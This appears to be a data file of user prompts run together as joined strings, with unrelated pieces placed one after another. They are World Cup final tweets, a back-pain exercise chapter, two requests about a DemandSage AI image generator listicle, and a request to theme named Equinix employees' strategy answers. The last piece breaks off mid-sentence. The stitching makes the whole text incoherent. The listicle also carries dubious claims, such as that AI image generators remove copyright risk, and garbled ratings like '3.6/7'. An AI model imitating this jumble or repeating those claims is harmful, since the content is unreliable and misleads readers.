Revoir France! My word what a team goal. #FIFAWorldCup https://t.co/U67QNIHAQm 15:36:54.0000000\nWhat a goal ????\'France second best team 3 games in a row 15:36:18.0000000\nThat was an excellent team goal, Argentina 2 - France 0 #ARGFRA 15:36:12.0000000\nWHAT A TEAM GOAL! Argentina have battered these French twats 15:36:42.0000000\nThat, is the best team goal of the World Cup. #WorldCupFinal 15:36:33.0000000\nArgentina 2nd goal ??\'What a team work ?????? 15:36:48.0000000\nGOAL Argentina 2-0 France Di Maria, wonderful team goal #ARGFRA #FIFAWorldCup 15:36:06.0000000\nargentina 2 -0. wonderful, wonderful team goal 15:36:37.0000000\nIs a 2–0 lead after 35 minutes deserved? Without a shadow of a doubt. Outstanding team goal #ARGFRA 15:36:23.0000000\nThat was a good team goal Argentina ???????? 15:36:59.0000000' +'CHAPTER FIFTEEN\n RULE #6\n Crawl Before You Walk, Walk Before You Run\n From Jeremy\nAs you know by now, the essence of the protocol is lifelong behavioral change. That means changing the way you carry yourself and move (the neutral spine and all that). But it also means adopting and staying with our carefully designed (and progressive) exercise regimen. It is designed for back pain and it is essential for a permanent cure. And you have to do it correctly. There is an awful lot of text and a bunch of pictures about exercise in this book. But it’s not because you have to do so many exercises; there really aren’t that many. It’s because we want you to do them right. Remember, you are far more likely to do these exercises with the compensatory patterns you have been doing for years unless you read closely and concentrate on doing them the right way. Doing them the wrong way will just make you better at doing bad things. \nOne great key to doing them right is to go slow in the learning process. Whether you’re the type or not, you have to take it step-by-step. This is a healing process, and you cannot rush a healing process; it has its own rhythm and you have to follow it. Roll out these exercises slowly over time, progressing from one level to the next only when you “get” the level you are on and are ready to move up. \nRemember, it is these daily exercises that—more than anything else—are going to give most of you a significant and permanent reduction in pain and tightness. Other steps get you past the immediate pain. These steps make the change permanent. \nBe Still to Heal; Be Still to Stay Well \nOne of the main goals of changing your movement patterns is to make the “be still to heal” concept (Rule #2, in Chapter 7) part of your daily life. Once you have achieved an initial fix, you don’t have to be as still. But it is a great idea to learn to move with relative stillness (without moving your lumbar spine too much) all the time. \nThis is a big change for most of you, and you have to take it in steps; as I say, you have to crawl before you walk. The first step in learning to keep your lumbar spine still routinely is simply to learn to march in place, with a neutral spine. (This is the “crawl” part of the process; it may seem too easy to bother with. It is not.) The goal is to learn to march in place with no lower spine movement. Then you can move on to other movements in this chapter.\nKey tip: If any of these movements hurt, take a step back to the last thing you could do without pain (marching in place, for instance). Stay with that for a few more days and then try to progress again. In theory, if you can march in place without pain, you can walk without pain and move without pain. It’s just a matter of building up your core, turning on the right muscles, and learning to use those muscles to move in the right way. Whenever you have difficulty, go back to the previous step and start again. \nOkay, you’ve done marching in place without moving your lower spine. Once that feels relatively simple, try doing this while walking. Things become a little murkier here because there are many factors at play. Because you are now weight-bearing, you need the support of important muscle groups like the glutes and latissimus dorsi (lats) to support your spine, in addition to the muscles we talked about in the core. If you can’t do this at first without pain, follow the advice in the book for a while, and it will come once you have developed enough strength to support your spine while standing. \nWalking with Neutral Spine \nLearning to walk with a neutral spine means applying the same mechanics of your Slow March with Neutral Spine exercise to an upright, weight-bearing position. Almost everyone can improve their ability to walk without pain if they can do the slow march exercise on the ground. The distance you can walk without pain, or without significant increases in pain, will increase as you build core and gluteal strength and endurance by doing the exercises in this book. To get started on increasing your ability to walk with decreased pain, follow these directions:\nStep 1: Stand with good posture. Stand tall, shoulders back, head over your shoulders. Think of sticking your chest out and pulling your shoulder blades down and back. Make sure you aren’t leaning forward. Tilt your pelvis back and forth (just like you did on the floor earlier), and stop where your lower back feels the most comfortable. \nStep 2: Use your core to lock your neutral spine in place. \nStep 3: Now try to walk while maintaining the position of your lower back and with the good posture you just set. It can help to put one hand on your stomach and one on your low back to feel for movement. Once you feel like you’ve mastered maintaining neutral spine while walking, start to swing your arms from the shoulders, arm to opposite leg. This means if your right leg is swinging forward, your left arm should be as well. Make sure to always swing your arms from the shoulders as you walk; this helps dissipate force away from the spine. This movement takes time to master so don’t get frustrated. Keep practicing. It gets easier after you have built endurance and strength in the muscles that support the spine. \nStep 4: If you sense your back is about to hurt, stop and have a seat for a few minutes and give your back a break. Then try walking a little longer. Over time, the period between these sitting breaks should increase, allowing you to walk farther without pain.\nNow let’s move on to more complex movements. To make it easier (and to improve your chances of success) we are going to break those more complex movements down into pieces and then put them all together at the end. We will start with movement from the hips, a very basic move in all our lives all the time. Let’s start with hip-hinging. Hip-hinging is a way to bend forward without stressing (i.e., bending) the spine. Done right, the axis of movement is in the hips, not the low back. Your low back should be in a protected neutral position with the core engaged. As you bend forward, your low back doesn’t round or move. Let’s look at a picture of hip-hinging and a picture of lumbar flexion (low back bending); one is good, the other is bad. This is simple stuff, but it is very hard to get over your ancient, bad habits. Hard but essential. \n\nHip-Hinge with Neutral Spine\nHere are a couple of pictures showing you the right way to hinge (on the left) and the wrong way (on the right). Notice the very slightly curved lower back in the hip-hinge picture on the left: no movement. Excellent! The pic on the right has quite a lot of spine movement; don’t do that. When you first try this movement, it may feel awkward, and you may assume that you cannot reach as far forward with good posture. Not so. You’ll soon realize that you can move just as far forward, using only your hips, as you did before, using your back. You don’t lose anything and you avoid a ton of pain. Over time you will gain mobility. The reason is that moving with your lower back eventually causes pain and stiffness in your back. But moving from your hips will not have that result. Let’s practice doing it right. \nRight Wrong\n\nStep 1: Stand with feet shoulder-width apart.\nStep 2: Set your posture: Find neutral spine, brace the core, shoulders back, stand as tall as you can without pain and without breaking neutral spine. \nStep 3: Bend your knees slightly. \nStep 4: Feel the two bones sticking out of the sides of your hips. These are called your greater trochanters. Picture a pole going through these two points, passing right through your pelvis. This is your imaginary axis of movement.\nStep 5: Now place one hand on your stomach and the other on your back. On your back, put your fingers on those little bones sticking out (spinous processes). You are putting your hands here to feel for any unwanted movement when you hip-hinge. \nStep 6: Without moving anything in the core (you shouldn’t feel those little bones in your back moving), slowly bend forward on that imaginary axis of movement through the hip bones while sticking your buttocks out behind you a little bit. If you feel your stomach or back move, stop, reset, and try again.\n\nStep 7: Go only as far forward as you can without moving your back. For many of you, your hamstrings (back of legs) are going to be a limiting factor in your range of motion in the beginning. Don’t worry if you can’t go too far. Your hamstrings will loosen up in time if you follow all of the advice in this book. \nStep 8: Slowly return to the starting position without moving your back or stomach. \nStep 9: This should not hurt your low back. If it does, reset your stance, find neutral spine, brace your core. Not hurting? Now try it again with a very small range of motion. Stay within the range of motion that doesn’t hurt. Slowly increase your range of motion over time—it will come. \nAdding Rotation\nNow let’s get a little more complex. Let’s add rotation to the bend. Hip-hinging correctly allows you to move forward and backward without pain. Now let’s learn to move side to side. We are talking rotation. Again, think about moving from the hips. It’s easiest to visualize proper rotation if you think about your waist. We don’t want any movement at the waist. Try to picture your rib cage being locked on to your pelvis. That’s what you want. Pretend that there are no joints between your ribs and pelvis, for this one. \nFull-Body Rotation\nThe chest, navel, and hips all move together. This means there is no (or very little) movement in the spine. The body rotates by moving the hips, knees, and pelvis. If the hips and pelvis stay facing forward while the rib cage moves, the movement comes from the waist, and therefore the lumbar spine. This type of movement can wear down the discs and joints in the spine over time, especially when additional load is applied (like unloading the dishwasher for instance). Just like hip-hinging, rotation done properly doesn’t cause you to lose mobility and will improve athletic performance. Let’s give it a try. Once again, the new movement is not that hard. But you are trying to unlearn a lifetime of moving with your spine. That is hard. \n\nStep 1: Stand with your feet shoulder-width apart.\nStep 2: Set your posture: Find neutral spine, brace the core, shoulders back, stand as tall as you can without pain and without breaking neutral spine. \nStep 3: Bend your knees slightly. \nStep 4: Place your hands on the top of your pelvis with your fingers pointed forward. This hand position is to help you visualize movement of the pelvis as you get used to this movement. \nStep 5: Keep the knees bent and loose but the core engaged, and try to turn a little to the right by shifting the knees and hips. Your fingers, navel, hip bones, chest bone, and face should all point the same direction. It’s okay if you pivot the feet a little bit. \n\nStep 6: Now try to the left.\nStep 7: Slowly increase your range of motion by bending more at the knees. \nStep 8: Then increase your range of motion even more by pivoting your feet. \nStep 9: At all times and especially at the end of the movement, your chest bone, head, navel, and hips should be in alignment. \nTROUBLESHOOTING\nKnee pain: Stay lighter on your feet\\ and pivot the ball of the inside foot (the side you are moving away from) as you rotate. \nTorso Rotation with Hip-Hinge and Squat\nNow let’s try to put those two movements—the hip-hinge and the rotation—together with a squat for a realistic, three-dimensional movement that allows you to accomplish everyday tasks (think unloading the dishwasher, putting up groceries) without stressing your back. You are going to rotate and bend down (hip-hinge), then come back up to the other side and extend. \nNotice that within that entire chain of movement, the person in the drawing does not really move his spine (look at the waist if you’re having trouble visualizing that). The rib cage remains locked onto the pelvis the entire time. These pictures show you that you can go almost 180 degrees from side to side, stooping as low as you can and then extending as high as your hands can go, without compromising your back. Let’s try it.\nStep 1: Stand with your feet shoulder-width apart.\nStep 2: Find neutral spine and engage your core to lock it in. \nStep 3: Stand with good posture. \nStep 4: Rotate torso to the right without twisting the waist as before.\n\nStep 5: Pivot the inside foot (left foot, in this case) as you turn.\nStep 6: After initiating the rotation, start to hinge at the hips, bending forward. Remember not to round your back. \n\nStep 7: Go only as low and as far to the right as you can without twisting at the waist or rounding your low back. You will now be in a squat/split squat position.\n\nStep 8: Reach out with your arms as if you were picking something up off of the floor. \n\nStep 9: Bring the arms back in and re-center your weight over your buttocks and feet. \nStep 10: Using your glutes, lift yourself out of the lowered position, pushing with your right glutes as you rotate back to midline while hinging back up through the hips. \n\nStep 11: As you swing past midline (without twisting at the waist!), pivot your right foot, continuing to use the right glutes, and extend your arms up toward the ceiling as if you were putting something on a shelf. \nStep 12: Return to the starting position without twisting at the waist. Try this in front of a mirror several times. \nStep 13: Then try this movement on the opposite side of your body. \nTROUBLESHOOTING\n• Knee pain: If your knees hurt as you start to rotate the torso, be lighter on your feet. Allow the feet to pivot a little bit. If the knees hurt when you are hinged forward at the bottom of the movement, drop your buttocks back more so that you are in a squat position (think of a baseball catcher) and lessen your range of motion. Try doing small movements and increase your range of motion gradually.\n• Back pain: If your back hurts with this one, it is likely you are twisting at the waist, rounding the back, or don’t have the gluteal strength yet to perform this movement to its full range of motion. Do a little investigating: Can you hip-hinge without pain? If so, that’s not the issue. Can you do the torso rotation without pain? Can you squat without pain? If you can do all three without pain then it is likely you are having difficulty putting all of these moves together without sacrificing form on one of them. Try doing this movement in very small pieces in front of a mirror or loved one, and gradually increase your range of motion over time. If any one piece causes pain, work on that one until you can do it pain-free, and then come back and try this movement again. \nRemember, these movements must become habits. That sounds daunting but it really isn’t that hard. Once your back starts to feel better, it will let you know when you move the wrong way and you’ll avoid that at all costs.' +'can you summirise this site please? "Skip to content\ndemandsage\nHome\nLatest\nReports\nBlog\nContact\n11+ Best AI Image Generators For Creators In 2022\nBy Shubham Singh / November 26, 2022\nBest AI Image Generators - DemandSage\nIt is rightly said that a picture can be worth a thousand words. In today’s digital world, you can paint a picture without picking up a brush. With our best AI image generators list, you can turn your words into mesmerizing images within a click!\n\nAI image generators are a boon for graphic designers, especially beginners still struggling to find ideas and inspiration for their projects. AI image generators eliminate the risk of copyright, meaning anyone can create personalized pictures without prior digital art experience. \n\nBest AI Image Generator — Jasper Art\n\nOur #1 pick for an AI Image generator is Jasper Art.🎯\nCreate unique and watermark-free images on Jasper Art.🔥\n\nGet Started With Jasper Art\n\nHowever, it is essential to find out which AI image generator can offer all the necessary features and tools that make it the perfect match for you. So in today’s post, we have hand-picked the best AI generators. \n\nWe understand that you might have a hard time believing us because of all the biased and fake reviews you have read till now. But do not worry, you are in safe hands now! \n\nSo without wasting any time, let’s get into the details!\n\nOur Top 6 Picks!\nIf you are in a hurry and do not have time to go through the entire article, here is a list of our top 6 favorite AI generators.\n\nAI Image Generator Best for \nJasper Art Best for creating images in different styles\nNightcafe Best for generating creative images \nDream by Wombo Best for beginners\nBigSleep Best for generating authentic images \nDeep AI Best for generating unique images \nDeep Dream Generator Best for creating realistic images\nList of 11+ Best AI Image Generators (2022)\nHere we will discuss the top 10 best AI image generators in-depth. Professionals and beginners most prefer these tools.\n\n1. Jasper Art\nRating 4.8/5\nEase Of Use 4.7/5\nJasper Art is the new feature of Jasper AI that they introduced in August 2022, and since then, it has been gaining a lot of popularity. This AI image generator can create images and art within a few seconds. It can turn your imagination in a few seconds.\n\nJasper-Art\nThe best part about Jasper Art is all the images you create with it are completely free of watermarks. The tool is still in the beta phase, where they are constantly working on improving its features. Now you can have the perfect image with your message. You no longer have to rely on stock images. We have also done a detailed Jasper Art review to explain it in detail.\n\nKey Features\n\nCreate unlimited unique images\nNo watermark on images\nDifferent styles available\nCreate images with a simple description\nCreates four images at once\nCosts $20/mo per user\n2. Starry AI\nRating 4.7/5\nEase of Use 4.8/5\nStarry AI is one of the best text-to-picture AI image generators available on the internet. Its unique granular tool enables you to create images with more personalization than other AI image generators. \n\nStarry AI has divided digital art generating into two sections to keep it super simple for its users. To create an image, you must enter your text and choose between Altair and Orion. \n\nBest AI Image Generator - StarryAi\nWhile Altair produces images that present abstractness, Orion creates pictures that depict fiction. The next step is choosing a style and setting a background for the pictures you make. \n\nKey Features \n\nMore than 16 styles \nEasy GAN AI art creation \nAspect ratios \nAllows complete ownership \nLatest updates available \nBeginner friendly \n3. Dream By Wombo\nRating 4.4/5\nEase of Use 4.8/5\nUnlike other AI image generators, Dream By Wombo offers unlimited image creation without any restrictions on its features and without any cost. This AI generator is the best option for people on a budget or students still in the learning process. \n\nDream By Wombo\nPlus, it is super simple to use Dream By Wombo. You must create your account, enter a text, and choose the style you want for your image. Once your picture is generated, you can save it or create another by selecting a different style. \n\nKey Features \n\nMobile friendly \nMultiple styles available \n100% ownership of generated images \nRecreate NFTs to enhance creativity \nHigh definition pictures \nEnables artwork to sell as NFTs\n4. Nightcafe\nRating 3.6/7\nEase of Use 4.7/8\nNightcafe is the ideal AI text-to-image generator to create authentic and creative images with simple words. You use the most basic English words to generate customized photos that will exactly depict what you want. \n\nIn addition, Nightcafe has several styles and creatives that are useful in generating versatile digital art. For example, the neural style transfer allows you to convert real-life photos into an artistic masterpiece. \n\nNightcafe\nWith its easy-to-use software, Nightcafe is ultimately beginner friendly. The appealing and convenient website interface allows anyone to create and enhance pictures within a single click. Moreover, every creation you make is saved permanently in your account, so you do not have to worry about separately storing it. \n\nKey Features \n\nDifferent style options \nCreate your own AI community \nEnables printing of high-quality creations\nLogo generator \nLow to the high resolution available \nStyle transfer\n5. Dall-E \nRating 4.5/5\nEase Of Use 4.3/5\nDall-E is a robust neural network that creates AI images from the simple English text. However, unlike other platforms, Dall-E is not directly open to all; to enter, you must register on the waitlist to use the platform soon. \n\nAlthough, the users eager to use the platform can experience its open version, i.e., Dall-E mini. The unique Ai technology of Dall-E mini surfs through captions present on the internet to match your words and from a precise depiction. \n\nDall-E \nThe best part about this AI image generator is you have to enter the text and click run. Dall-E mini will generate multiple options based on your text, and you can select the one you like the most. \n\nKey Features \n\nUnlimited images for free \nCombining polar concepts \nImage regeneration available \nDrawing multiple objects \n3D and visual perspective \nAnimal illustrations \n6. Pixray \nRating 4/5\nEase of Use 4.5/5\nPixray is a versatile text-to-image converter that works as an API, browser website, and PC application. Although Pixray has an elegant and straightforward interface, its inexplicable customizations and custom AI engine make it perfect for tech-savvy people. \n\nPixray \nWhile forming pictures . is a fun process with Pixray, its real potential comes in post-image creation when you head to settings. In the settings section,, you can transform your picture into different styles, convert them into video, edit them to be more creative, and maybe other available tools. \n\nKey Features\n\nPixel art generation\nGAN images \nLine-sketch images, \nFilter Images \nCustomize the quality of images \nFlexible integrations \nHigh-speed software \n7. Deep Dream Generator\nRating 3.8\nEase of Use 4.4/5\nDeep Dream Generator is known for its realistic and high-quality images. If you are looking for an AI image generator that creates pictures based on real-life Deep Dream Generator is the perfect match for you. \n\nDeep Dream Generator\nThe researchers at Google created it to provide everyone with easy and accessible image generating. So even if you do not have any experience, you can convert your words into a picture within seconds. This AI image generator’s specialty is making the photos look like they are from a different time or place. \n\nKey Features \n\nThree significant styles- Deep, Thin, and Deep Dream \nAnimal illustrations \nLandscapes and objects \nMultiple painting styles\nImage preview available \nDigital Analytics \n8. Deep AI\nRating 4.6/5\nEase of Use 4.1/5\nDeep AI is an exceptional AI image generator that aims to provide open source image creation to everyone. The Image Generator of Deep AI provides realistic images that maintain high resolution. \n\nDeep AI\nThe best part about Deep Ai is that you can create unlimited images, and none of them will match. It focuses on providing variety and diversity to its users. Moreover, you can customize the amount of detailing in every image, including textures and colors. \n\nKey Features \n\nResolution independent vector image \nStyleGAN \nBigGAN\nCartoonGAN\nImage colorization \nResponsive customer support \n9. BigSleep \nRating 4.4/5\nEase of Use 4.4/5\nBigSleep is one of the most preferred and renowned AI image generators in the market today. The reason is that BigSleep has robust software that generates life-like creations from scratch. \n\nBigSleep \nEven though BigSleep creates superior quality pictures, it has a highly easy-to-use platform that provides all the necessary features to assemble, edit and store your images safely. Moreover, BigSleep has a Python-based program that ensures the software’s speed and smooth running. \n\nKey Features \n\nGenerative adversarial network-based \nHigh-resolution image going up to 1024×1024\nDiscriminator tool \nOpen source \nDiversified image patterns \nBeginner friendly \n10. Artbreeder\nRating 4.5/5\nEase of Use 4.6/5\nArtbreeder is a unique AI image generator that uses a combination of pictures to form a single image. You can generate new, unique, and completely authentic images using the existing photos in your gallery with the help of Artbreeder.\n\nArtbreeder\nYou can get thousands of different and vivid art illustrations with a safe place to store them in your Artbreeder account. Moreover, the user interface of ArtBreed is super simple, making the website easy to navigate for beginners and professional graphic designers. \n\nKey Features \n\nDownload images in JPG or PNG\nOriginal photos in various styles and categories\nHigh resolution \nTransparent background \nBigGAN \nStyleGAN\nImage editing available \n11. Fotor AI Image Generator\nRating 4.5/5\nEase Of Use 4.4/5\nFotor is an amazing photo editing app that is used by millions all over the world. They recently launched their AI Image generator, and unlike other AI Image Generators, theirs is completely free of cost. It is also super easy to use.\n\nFotor AI Image Generator\nJust enter the text prompt in the box and hit the generate button, and watch it bring that text to life in just a few seconds. You can use Fotor’s AI Image Generator to create anime characters, realistic images, paintings, 3D images, and so on. It is the best option for beginners and advanced users alike.\n\nKey Features\n\nFind amazing prompts in their featured gallery\nGenerate up to 10 free images daily\nImage-to-image conversion model is also available\nGenerate images in just a few seconds\nNo limit on the text description\nCreate multiple images at once\nOther AI Tools:\n\nBest AI Writing Software\nBest AI Marketing Tools\nBest AI Sales Software\nWrapping Up! On Best AI Image Generator (2022)\nAn AI image generator can turn your thoughts into a digital painting with all the customization you want. However, some AI image generators are expensive, while others might not have what you are looking for. \n\nThat is why you must do your research thoroughly before investing in any AI image generator. If you have difficulty choosing a tool, go through all these features and see if it fits into your budget. Once you see that the AI image generator has everything you need, go for it. \n\nWe hope this article helped you select the best AI generator for you. Over to you, which is the best AI generator you? Let us know in the comments section below!\n\nFAQs\nWhich AI image generator is best for people with no experience in designing?\nAn AI image generator is supposed to convert your words into images. However, you know much about image formation and cannot perfectly edit your photos. In that case, you must try using Deep Dream Generator to create realistic and high-quality images. \n\nAre AI image generators a threat to existing artists?\nAlthough AI has been developing fast, the AI image generator cannot match the precision of an artist yet. \n\nWhich is the best free AI image generator?\nIf you are looking for an AI image generator to create good quality images without restrictions on features or picture quantity, Dream by Wombo is the ideal tool. \n\nAbout The Author\n\nShubham Singh\nHi there, I\'m brushing up on SEO and Affiliate Marketing. Kinda full-time dealing with websites, rankings, content, and all. On DemandSage, I\'m leading the content and SEO team.\nLeave a Comment\nYour email address will not be published. Required fields are marked \\*\nType here..\nType here..\nName\\*\nName\\*\nEmail\\*\nEmail\\*\nWebsite\nWebsite\n Save my name, email, and website in this browser for the next time I comment.\n\nScroll to Top"' +'please review this set of responses to the question "what are the value plays we should focus on" and look for common themes in the responses. Present these in a table format with a short name, description, and identify all individuals who made reference to this theme in their response\n\n1. Supplied\n 1. Acquire and Develop Talent capable of delivering Platform vision\n 2. Modernized internal stack capable of meeting the needs of a cloud-first business\n 3. Best in class investor management through transformation process, as we delicately manage the growth of platform offerings in a way that doesn\'t negatively impact our valuation in the long term\n 4. Decreasing our capital intensity through operating efficiencies driven by technology and automation \n 5. Developing a suite of digital platform solutions from solving cloud issues to digital transformations \n 6. Building a partner ecosystem to expand and support our offerings\n 7. Solving go-to-market, legal, and financial compliance challenges related to operating a platform business internationally\n \n2. Brandi\n · …Modernized internal stack capable of meeting the needs of a cloud-first business.\n · Evolve culture to accelerate delivery of platform vision\n · Acquire and develop talent fit for platform vision\n \n3. Bruce\n · Be public about a quantifiable aspiration/goal to fuel urgency (e.g. Interconnection revenue or yield)\n · Get org rallied around a shared vision and then be very targeted in culture change (e.g. agile) and skills change needed in specific pockets of the org to deliver digital transformation. Ie. We need everyone to understand our vision, but we can be targeted on the where need new skills/capabilities\n · Enhance our local market and customer listening to drive innovation, using customer base for rapid beta testing or prototypes.\n \n4. Charles\n 1. IBX Footprint\n 2. Service Offerings\n a. Colo\n b. Mgd Services\n c. Edge Infra (Network Edge and Colo by the U)\n d. Cloud Networking\n 3. Digital Experience (likely starts as somewhat parallel experiences for DCS vs DS offerings but implies a merged experience over time)\n a. Process\n b. Systems\n 4. Ecosystem Enablement (huge area of opportunity and under-investment)\n a. APIs\n b. SDKs (that’s all the acronyms I know but I’m pretty sure we have a lot of work to do)\n 5. Customers – need to define target personas and align GTM motions to specific customer/persona combinations\n 6. Ecosystem Development\n a. JPS/”integrated”\n b. Self-serve (use self-serve tools to bring your offering to the Platform)\n c. Communities of Interest/Vertical Ecosystems (BD to cultivate)\n 7. Marketplace (what we need, not what we have now)\n\n \n \n5. Jon\n · Modernized quote-to-cash stack that allows for low/no-touch customer acquisition and onboarding, and global billing capabilities.\n · Having clear, measurable ROIC for digital services with clear cost structures by product line.\n · Building integrated partner offerings that allow partners to package/sell/support our offerings with low/no-touch for Equinix.\n · Creating clear BU and product-level P&L reporting, inclusive of capex and opex.\n · Having the clear ability to calculate LTV/CAC by product.\n \n6. Justin\n · Investing in a modern API-first technology stack to be able to effectively leverage developer ecosystems to (1) co-drive disruptive, agile innovation; (2) create new business models; (3) enable seamless API-based technology partner integration; and (4) reduce channel friction.\n · Continuing to improve Equinix’s visibility and credibility in developer ecosystems to attract world-class talent capable of delivering on our Platform vision.\n · Investing in an innovation incubator with dedicated engineering resources, and frameworks in place to engage and co-innovate with external developers and startups with agility, to boost innovation (radical innovation, adjacent innovation, or core innovation), supported by an accelerated incubation model.\n \n7. Karl\n · …seriously vet and conclude on inorganic options to accelerate our capability set to deliver the suite of services required. (Contemplates the addition of talent, tech, and product needed to accelerate)\n · …successfully launch AND scale Joint partner solutions that prove we are indeed the home of the dedicated cloud and can offer solutions via partners at scale.\n · …neutralize the complexity of workload tiering and demand shaping by having both retail and wholesale solutions to large and performance based deployments.\n \n \n8. Keith\n · Developing a platform on Equinix DCS assets, and potentially extending these services to other non-Equinix assets.\n · Potentially acquiring talent or service capabilities and integrating onto the Equinix Platform.\n · Merging our business into an existing business and integrating onto the Equinix Platform.\n · Exclusively expand our GTM partnerships with a number of critical providers that imbeds our service offering into their solution.\n \n9. Kurt\n · …Honestly, I think the above list is a really good list. I am struggling to add anything to it. \n · If I had to, I would say we need a capability of coming to agreement more quickly on complex issues impacting our delivery and development of services. We are currently wrestling with issues that we have known for year. Channel complications (same ones) have been on the table for years, tax structure has been on the table for years and we actually built a tax structure no one is using a while back, we have known about billing issues since we bought packet, etc. The problem is, as soon as folks hear “hard problem” they retreat and we don’t move. To date, we have really struggled to resolve these issues quickly enough and with certainty for a time. I would never say we need decisions that last forever as we need to be agile, but the word I hear a lot on the street is the team is “Whipsawed.” It feels like folks run to work on something based on an agreement and then it changes a few months out, not usually with a discussion. \n · With that said, the list above actually sounds great to me. We need the right talent, working on the right stuff, for the right customers, and the story will tell itself.\n \n10. Mike\n · Acquire and Develop Talent capable of delivering our Platform vision.\n · Build a partner ecosystem to expand and support our offerings.\n · Begin to market ourselves as a company that provides a lot more than colocation services to different personas than we market to today.\n · Find a way to use xScale facilities to help with our Retail and Digital space constraints.\n \n11. Milind\n\n12. Nicole \n· People/Workforce/Brand:\n · Specific declaration on future state vision (internally). Take any guesses or confusion off the table immediately and ensure all functions are clear on how they play a role in that vision. \n · T&A to drive talent into the workforce that has experience suited for our vision (less telco, more software, service provider, etc..). \n · Marketing driving significant brand shift externally to ensure customers see us as a platform company. We are moving away from data center only branding. (This likely requires a CMO strategy) \n · Drive more accountability with our GLO population to lead from the front and be transformational leaders. Communicate often, effectively, and more intimately with this group so they are 100% clear on the strategy and role they play in the transformation. Have courage to take swift action if leaders can’t make the turn. This group of leaders will make or break us future state. \n· Growth and Bookings: \n · Global salesforce enabled and delivering balanced performance and growth targets across the product portfolio. \n · Internal functions working towards common vision and solving problems in partnership and at pace. \n · Specific and strategic synergy plans formally in place across critical enterprise partnerships (Dell, VMW, HPE)\n · Sustainability efforts clearly defined, articulated, and structured goaling for internal leadership in place. \n · Product clarity in digital space. What products, to what market, etc.. Keep this simple so sales can accelerate the strategy. Complexity will slow our pace. \n \n· Systems/Tools/Processes\n · Modernize our internal stack to be able to provide a customer experience needed for digital scale. Be progressive and aggressive in our IT shift. Don’t always think about “build” motions, also look at “buy” motions to implement with speed. \n · Data Transformation strategy in place (as part of our overall digital transformation strategy) in place to ensure Network Transformation, MDM/Analytics, etc, have structured execution dates (with timelines) and are scaling to enable faster decisions with more data driven insights. \n · Real time capacity management tools that help us balance DCS and DS needs by data center (I am not sure how mature these are today, and am assuming we will need advancement here). \n · API mandatory for all new builds. Basically, no more in house building that aren’t API enabled. \n\n \n13. PVC\n · …If I accurately understand the list, 1, 2, 5, and 6 are areas I’d apply energy….. 3, 4, and 7 will draw effort, but should naturally occur as we progress in the others. \n \n14. Raouf\n · …The right talent to build the products and scale the “wrapper” service model. \n · Modernized systems to support DS but also Enterprise support ready. \n · Network/DS architecture to scale and have the right unto cost. Truly support on demand growth and ramp for customers. \n · Solve go to market approach for combined customers from contracting, ordering and billing to support. \n \n15. Ryan\n 1. Acquire and develop talent capable of delivering Platform vision.\n 2. Overhaul internal systems and processes to enable efficiency and improved experience for customers and front-line employees. \n 3. Instill agility into culture and processes. \n \n16. Scott\n · It is hard to improve upon the ones listed, but I\'d change the last to read:\n · Creating a highly competitive transactional, legal, and financial operating model necessary for the on-demand SaaS/cloud market\n · And I\'d add:\n · Build the optimal platform to capture cloud-adjacent workloads and data. "Platform" is inclusive of our offerings and integrated offerings from ecosystem partners.' +'in this text "Skip to content\ndemandsage\nHome\nLatest\nReports\nBlog\nContact\n11+ Best AI Image Generators For Creators In 2022\nBy Shubham Singh / November 26, 2022\nBest AI Image Generators - DemandSage\nIt is rightly said that a picture can be worth a thousand words. In today’s digital world, you can paint a picture without picking up a brush. With our best AI image generators list, you can turn your words into mesmerizing images within a click!\n\nAI image generators are a boon for graphic designers, especially beginners still struggling to find ideas and inspiration for their projects. AI image generators eliminate the risk of copyright, meaning anyone can create personalized pictures without prior digital art experience. \n\nBest AI Image Generator — Jasper Art\n\nOur #1 pick for an AI Image generator is Jasper Art.🎯\nCreate unique and watermark-free images on Jasper Art.🔥\n\nGet Started With Jasper Art\n\nHowever, it is essential to find out which AI image generator can offer all the necessary features and tools that make it the perfect match for you. So in today’s post, we have hand-picked the best AI generators. \n\nWe understand that you might have a hard time believing us because of all the biased and fake reviews you have read till now. But do not worry, you are in safe hands now! \n\nSo without wasting any time, let’s get into the details!\n\nOur Top 6 Picks!\nIf you are in a hurry and do not have time to go through the entire article, here is a list of our top 6 favorite AI generators.\n\nAI Image Generator Best for \nJasper Art Best for creating images in different styles\nNightcafe Best for generating creative images \nDream by Wombo Best for beginners\nBigSleep Best for generating authentic images \nDeep AI Best for generating unique images \nDeep Dream Generator Best for creating realistic images\nList of 11+ Best AI Image Generators (2022)\nHere we will discuss the top 10 best AI image generators in-depth. Professionals and beginners most prefer these tools.\n\n1. Jasper Art\nRating 4.8/5\nEase Of Use 4.7/5\nJasper Art is the new feature of Jasper AI that they introduced in August 2022, and since then, it has been gaining a lot of popularity. This AI image generator can create images and art within a few seconds. It can turn your imagination in a few seconds.\n\nJasper-Art\nThe best part about Jasper Art is all the images you create with it are completely free of watermarks. The tool is still in the beta phase, where they are constantly working on improving its features. Now you can have the perfect image with your message. You no longer have to rely on stock images. We have also done a detailed Jasper Art review to explain it in detail.\n\nKey Features\n\nCreate unlimited unique images\nNo watermark on images\nDifferent styles available\nCreate images with a simple description\nCreates four images at once\nCosts $20/mo per user\n2. Starry AI\nRating 4.7/5\nEase of Use 4.8/5\nStarry AI is one of the best text-to-picture AI image generators available on the internet. Its unique granular tool enables you to create images with more personalization than other AI image generators. \n\nStarry AI has divided digital art generating into two sections to keep it super simple for its users. To create an image, you must enter your text and choose between Altair and Orion. \n\nBest AI Image Generator - StarryAi\nWhile Altair produces images that present abstractness, Orion creates pictures that depict fiction. The next step is choosing a style and setting a background for the pictures you make. \n\nKey Features \n\nMore than 16 styles \nEasy GAN AI art creation \nAspect ratios \nAllows complete ownership \nLatest updates available \nBeginner friendly \n3. Dream By Wombo\nRating 4.4/5\nEase of Use 4.8/5\nUnlike other AI image generators, Dream By Wombo offers unlimited image creation without any restrictions on its features and without any cost. This AI generator is the best option for people on a budget or students still in the learning process. \n\nDream By Wombo\nPlus, it is super simple to use Dream By Wombo. You must create your account, enter a text, and choose the style you want for your image. Once your picture is generated, you can save it or create another by selecting a different style. \n\nKey Features \n\nMobile friendly \nMultiple styles available \n100% ownership of generated images \nRecreate NFTs to enhance creativity \nHigh definition pictures \nEnables artwork to sell as NFTs\n4. Nightcafe\nRating 3.6/7\nEase of Use 4.7/8\nNightcafe is the ideal AI text-to-image generator to create authentic and creative images with simple words. You use the most basic English words to generate customized photos that will exactly depict what you want. \n\nIn addition, Nightcafe has several styles and creatives that are useful in generating versatile digital art. For example, the neural style transfer allows you to convert real-life photos into an artistic masterpiece. \n\nNightcafe\nWith its 